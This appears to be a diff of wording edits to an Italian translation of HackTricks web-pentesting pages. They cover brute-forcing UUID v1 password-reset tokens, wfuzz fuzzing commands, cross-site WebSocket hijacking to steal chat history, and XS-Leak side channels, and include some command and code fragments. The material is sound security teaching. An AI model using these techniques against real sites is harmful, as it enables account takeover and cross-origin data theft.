+> - La **posizione della N** indica la variante dell'UUID.
 
 ## Sandwich attack
 
-L'"Attacco Sandwich" è un tipo specifico di attacco che **sfrutta la prevedibilità della generazione di UUID v1 nelle applicazioni web**, in particolare in funzionalità come il ripristino della password. L'UUID v1 è generato in base al tempo, alla sequenza dell'orologio e all'indirizzo MAC del nodo, il che può renderlo in qualche modo prevedibile se un attaccante riesce a ottenere alcuni di questi UUID generati in un breve intervallo di tempo.
+L'"Attacco Sandwich" è un tipo specifico di attacco che **sfrutta la prevedibilità della generazione di UUID v1 nelle applicazioni web**, in particolare in funzionalità come il ripristino della password. L'UUID v1 è generato in base al tempo, alla sequenza dell'orologio e all'indirizzo MAC del nodo, il che può renderlo in qualche modo prevedibile se un attaccante riesce a ottenere alcuni di questi UUID generati in un intervallo di tempo ravvicinato.
 
 ### Example
 
@@ -37,16 +37,16 @@ Immagina un'applicazione web che utilizza UUID v1 per generare link di ripristin
 2. **Execution**:
 
 - L'attaccante attiva un ripristino della password per il suo primo account (\`attacker1@acme.com\`) e riceve un link di ripristino della password con un UUID, ad esempio \`99874128-7592-11e9-8201-bb2f15014a14\`.
-- Subito dopo, l'attaccante attiva un ripristino della password per l'account della vittima (\`victim@acme.com\`) e poi rapidamente per il secondo account controllato dall'attaccante (\`attacker2@acme.com\`).
+- Immediatamente dopo, l'attaccante attiva un ripristino della password per l'account della vittima (\`victim@acme.com\`) e poi rapidamente per il secondo account controllato dall'attaccante (\`attacker2@acme.com\`).
 - L'attaccante riceve un link di ripristino per il secondo account con un UUID, ad esempio \`998796b4-7592-11e9-8201-bb2f15014a14\`.
 
 3. **Analysis**:
 
-- L'attaccante ora ha due UUID generati in un breve intervallo di tempo (\`99874128\` e \`998796b4\`). Data la natura sequenziale degli UUID basati sul tempo, l'UUID per l'account della vittima cadrà probabilmente tra questi due valori.
+- L'attaccante ora ha due UUID generati in un intervallo di tempo ravvicinato (\`99874128\` e \`998796b4\`). Data la natura sequenziale degli UUID basati sul tempo, l'UUID per l'account della vittima cadrà probabilmente tra questi due valori.
 
 4. **Brute Force Attack:**
 
-- L'attaccante utilizza uno strumento per generare UUID tra questi due valori e testa ciascun UUID generato tentando di accedere al link di ripristino della password (ad esempio, \`https://www.acme.com/reset/\<generated-UUID>\`).
+- L'attaccante utilizza uno strumento per generare UUID tra questi due valori e testa ogni UUID generato tentando di accedere al link di ripristino della password (ad esempio, \`https://www.acme.com/reset/\<generated-UUID>\`).
 - Se l'applicazione web non limita adeguatamente il tasso o non blocca tali tentativi, l'attaccante può rapidamente testare tutti gli UUID possibili nell'intervallo.
 
 5. **Access Gained:**

src/pentesting-web/web-tool-wfuzz.md

@@ -2,9 +2,9 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Uno strumento per FUZZare applicazioni web ovunque.
+Uno strumento per FUZZare le applicazioni web ovunque.
 
-> [Wfuzz](https://github.com/xmendez/wfuzz) è stato creato per facilitare il compito nelle valutazioni delle applicazioni web ed è basato su un concetto semplice: sostituisce ogni riferimento alla parola chiave FUZZ con il valore di un dato payload.
+> [Wfuzz](https://github.com/xmendez/wfuzz) è stato creato per facilitare il compito nelle valutazioni delle applicazioni web ed è basato su un concetto semplice: sostituisce qualsiasi riferimento alla parola chiave FUZZ con il valore di un dato payload.
 
 ## Installazione
 
@@ -31,7 +31,7 @@ pip install wfuzz
 wfuzz -e printers #Prints the available output formats
 -f /tmp/output,csv #Saves the output in that location in csv format
 ```
-### Opzioni degli encoder
+### Opzioni di codifica
 ```bash
 wfuzz -e encoders #Prints the available encoders
 #Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
@@ -98,7 +98,7 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
 top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
 http://example.com -t 100
 ```
-### HTTP Verbs (metodi) bruteforce
+### HTTP Verbs (methods) bruteforce
 
 #### **Utilizzando il file**
 ```bash

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -94,7 +94,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 ### **Structured objects / Specific functionalities**
 
 Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
-Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Iniezioni di Header Email).
+Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections).
 
 - [ ] [**Deserialization**](../deserialization/)
 - [ ] [**Email Header Injection**](../email-injections.md)

src/pentesting-web/websocket-attacks.md

@@ -12,7 +12,7 @@ Una spiegazione dettagliata su come stabilire connessioni WebSocket può essere
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
-Il protocollo `wss` indica una connessione WebSocket protetta con **TLS**, mentre `ws` indica una connessione **non sicura**.
+Il protocollo `wss` indica una connessione WebSocket protetta con **TLS**, mentre `ws` indica una connessione **non protetta**.
 
 Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato nei seguenti esempi:
 
@@ -44,7 +44,7 @@ La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni
 
 Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente.
 
-### Linux console
+### Console Linux
 
 Puoi usare `websocat` per stabilire una connessione raw con un websocket.
 ```bash
@@ -68,7 +68,7 @@ Puoi usare il **tool** [**https://github.com/PalindromeLabs/STEWS**](https://git
 ### Strumenti di Debug per Websocket
 
 - **Burp Suite** supporta la comunicazione MitM dei websockets in modo molto simile a come lo fa per la comunicazione HTTP regolare.
-- L'**estensione Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la** **cronologia**, impostando **regole di intercettazione**, utilizzando **regole di corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.**
+- L'estensione **[**socketsleuth**](https://github.com/snyk/socketsleuth)** di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la **cronologia**, impostando **regole di intercettazione**, utilizzando regole di **corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abbreviazione di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per **catturare, intercettare, inviare messaggi personalizzati** e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server.
 - [**wsrepl**](https://github.com/doyensec/wsrepl) è un **REPL websocket interattivo** progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare **i messaggi websocket in arrivo e inviarne di nuovi**, con un framework facile da usare per **automatizzare** questa comunicazione. 
 - [**https://websocketking.com/**](https://websocketking.com/) è un **web per comunicare** con altri web utilizzando **websockets**.
@@ -80,13 +80,13 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
 
 ## Hijacking WebSocket Cross-site (CSWSH)
 
-**L'hijacking WebSocket cross-site**, noto anche come **hijacking WebSocket cross-origin**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce i handshake WebSocket. Questa vulnerabilità si verifica quando i handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **token CSRF** o misure di sicurezza simili.
+**L'hijacking WebSocket cross-site**, noto anche come **hijacking WebSocket cross-origin**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce gli handshake WebSocket. Questa vulnerabilità si verifica quando gli handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **token CSRF** o misure di sicurezza simili.
 
-Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione è trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni.
+Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni.
 
 ### Attacco Semplice
 
-Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe usarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket** basata sul **cookie** inviato.
+Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe usarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket** basata sul cookie inviato.
 
 Quindi, se per **esempio** il **server websocket** **invia indietro la cronologia della conversazione** di un utente se viene inviato un msg con "**READY"**, allora un **semplice XSS** stabilendo la connessione (il **cookie** sarà **inviato** **automaticamente** per autorizzare l'utente vittima) **inviando** "**READY**" sarà in grado di **recuperare** la cronologia della **conversazione**.
 ```markup
@@ -136,7 +136,7 @@ sudo python3 -m http.server 80
 ```
 ## Condizioni di gara
 
-Le condizioni di gara nei WebSocket sono un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets).
+Le condizioni di gara nei WebSocket sono anche un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets).
 
 ## Altre vulnerabilità
 

src/pentesting-web/xs-search.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Informazioni di base
+## Informazioni di Base
 
 XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità nei canali laterali**.
 
@@ -13,7 +13,7 @@ I componenti chiave coinvolti in questo attacco includono:
 - **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad es., window.open, iframe, fetch, tag HTML con href, ecc.).
 - **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione.
 - **Stati**: Le due potenziali condizioni del Web Vulnerabile, che l'attaccante mira a distinguere.
-- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per dedurre lo stato del Web Vulnerabile.
+- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.
 
 ### Differenze Rilevabili
 
@@ -30,14 +30,14 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
 
 - **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
-- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, aggirano le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
+- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
 - **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
 
 ### Tecniche di Leak
 
 - **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse.
 - **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
-- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto una soglia, fungendo da tecnica di leak.
+- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
 - **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
 - **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
 - **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
@@ -136,7 +136,7 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
 
 Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**.
 
-Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF, ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
+Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
 
 Per esempio:
 
@@ -200,7 +200,7 @@ Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://d
 - **Summary**: Esaurire il limite di connessione WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin.
 - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
-È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e rivelare informazioni legate al numero di connessioni WebSocket.
+È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.
 
 Se un **origin** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il sito web target è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**.
 
@@ -238,10 +238,10 @@ JavaScript opera su un modello di concorrenza [a ciclo di eventi a thread singol
 - **Inclusion Methods**:
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web implica bloccare intenzionalmente il ciclo di eventi di un thread e poi misurare **quanto tempo impiega il ciclo di eventi a diventare di nuovo disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
+- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi misurare **quanto tempo impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi a essere eseguito, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
 - **Code Example**:
 
-Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Isolamento del Sito**. **Isolamento del Sito** è una funzione di sicurezza che separa diversi siti web in processi separati, mirando a prevenire che siti malevoli accedano direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Isolamento del Sito**.
+Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Isolamento del Sito**. **Isolamento del Sito** è una funzione di sicurezza che separa diversi siti web in processi separati, mirando a impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Isolamento del Sito**.
 
 > [!WARNING]
 > In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
@@ -263,7 +263,7 @@ I browser utilizzano socket per la comunicazione con il server, ma a causa delle
 1. Accertare il limite di socket del browser, ad esempio, 256 socket globali.
 2. Occupare 255 socket per un lungo periodo avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle.
 3. Utilizzare il 256° socket per inviare una richiesta alla pagina target.
-4. Tentare una 257° richiesta a un host diverso. Dato che tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, implicando che qualsiasi nuovo socket disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina target.
+4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi nuovo socket disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario affinché la richiesta alla pagina target venga completata.
 
 Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -276,7 +276,7 @@ Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/con
 
 ## Tecniche dell'API di Prestazioni
 
-L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Timing delle Risorse consente il monitoraggio dei tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
+L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Timing delle Risorse consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
 
 Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni relative alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome, la precisione di `performance.now()` può essere limitata ai millisecondi, il che potrebbe influenzare la granularità delle misurazioni temporali.
 
@@ -320,7 +320,7 @@ La tecnica è stata trovata in una tabella nel documento menzionato, ma non è s
 - **Summary:** Le risposte vuote non creano voci di timing delle risorse.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
-Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché le **pagine vuote non creano un'entrata di prestazione in alcuni browser**.
+Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché **le pagine vuote non creano un'entrata di prestazione in alcuni browser**.
 
 ### **Perdita di XSS-Auditor**
 
@@ -351,7 +351,7 @@ Lo stesso accade se utilizzi un **tag embed**.
 - **Summary:** I download non creano voci di timing delle risorse nell'API di Prestazioni.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser.
+Simile alla XS-Leak descritta, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser.
 
 ### Perdita di Inizio Redirect
 
@@ -361,7 +361,7 @@ Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'i
 - **Summary:** L'entrata di timing delle risorse rivela l'orario di inizio di un redirect.
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i **dati temporali redirectStart**.
+Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**.
 
 ### Perdita di Durata Redirect
 
@@ -373,7 +373,7 @@ Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni bro
 
 In GC, la **durata** per le richieste che portano a un **redirect** è **negativa** e può quindi essere **distinta** dalle richieste che non portano a un redirect.
 
-### Perdita di CORP
+### Perdita CORP
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Intestazione
@@ -470,7 +470,7 @@ err.message +
 audioElement.onerror = errHandler
 }
 ```
-L'interfaccia `MediaError` ha una proprietà message che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato di risposta di una risorsa cross-origin.
+L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato della risposta di una risorsa cross-origin.
 
 ### Errore CORS
 
@@ -490,17 +490,17 @@ Questa tecnica consente a un attaccante di **estrarre la destinazione di un rein
 - **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
+Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di recupero con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore di hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
 
 ### Violazione/Rilevamento CSP
 
 - **Metodi di Inclusione**: Pop-up
 - **Differenza Rilevabile**: Codice di Stato
 - **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
-- **Riepilogo:** Consentendo solo il sito web della vittima nella CSP, se tentiamo di reindirizzarci a un dominio diverso, la CSP attiverà un errore rilevabile.
+- **Riepilogo:** Consentendo solo il sito della vittima nel CSP, se tentiamo di reindirizzarlo a un dominio diverso, il CSP attiverà un errore rilevabile.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
-Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **La CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
+Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **Il CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
